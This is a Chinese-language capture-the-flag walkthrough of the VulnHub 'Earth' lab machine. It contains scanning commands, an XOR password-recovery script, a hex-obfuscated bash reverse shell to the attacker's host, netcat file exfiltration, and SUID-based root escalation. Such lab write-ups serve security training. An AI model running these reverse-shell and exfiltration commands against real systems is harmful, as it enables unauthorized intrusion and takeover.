1.环境搭建
靶机下载地址:The Planets: Earth ~ VulnHub
将靶机导入Oracle VM VirtualBox中,网络使用仅主机模式,网卡使用和kali相同的网卡
开启靶机
2.渗透过程
使用nmap工具进行主机发现扫描
nmap -sn 192.168.56.0/24
发现靶机IP地址,使用nmap进行端口扫描
nmap -sS 192.168.56.119
发现22,80,443使用浏览器访问80端口
http://192.168.56.119
访问成功但是没有东西,使用nmap工具扫描一下端口的服务
nmap -A 192.168.56.119
发现443端口存在dns解析,在/etc/hosts中添加
http://earth.local/
这里发现三个字符串,先不用管,使用dirb进行目录扫描
dirb http://earth.local/
访问admin目录
点击Log In,是一个登陆页面
使用另一个域名在浏览器中访问,发现页面一样,dirb扫描出来的目录也一样,使用https访问另一域名,发现不一样的页面
https://terratest.earth.local/
使用dirb进行目录扫描
dirb https://terratest.earth.local/
发现robots.txt文件,访问
发现testingnotes文件,不知道后缀,尝试txt的时候访问成功
提示密码使用异或算法,异或字符串放在testdata.txt,用户名是terra,访问testdata.txt
这里想到之前得到了三个字符串使用python脚本进行异或(这里使用第三行的字符串进行异或)
import binascii
a = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
b = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
c = binascii.hexlify(a.encode("utf-8"))
flag = ""
i = 0
while(i < len(b)):
flag += chr(int(b[i:+i+2], 16) ^ int(c[i:i+2], 16))
i += 2
print(flag)
得到字符串
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
发现earthclimatechangebad4humans是重复的猜测这是密码,使用用户名terra进行登陆
登陆成功
发现这是一个命令执行,想到反弹shell,kali开启监听
nc -lvp 6666
执行反弹shell(这里ip地址需要换成十六进制)
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x65/6666 0>&1
连接成功
使用python转换一下模式
python -c 'import pty;pty.spawn("/bin/bash")'
使用find搜索一下flag
find / -name "*flag*"
发现flag,查看flag
开始提权
find / -perm -u=s -type f 2>/dev/null
发现一个可执行程序,运行这个程序
/usr/bin/reset_root
运行失败,将文件传到本机上
nc -lvp 5555 > reset_root
nc 192.168.56.101 5555 < /usr/bin/reset_root
使用ida查看一下程序
发现程序的作用是更改root密码,但是需要满足一些条件,使用strace进行调试
strace ./reset_root
发现缺少三个文件,在靶机上创建这三个文件
执行程序
/usr/bin/reset_root
root密码修改成功,使用su切换root用户,密码是Earth
su
进入/root目录,查看flag
cd /root
cat root_flag.txt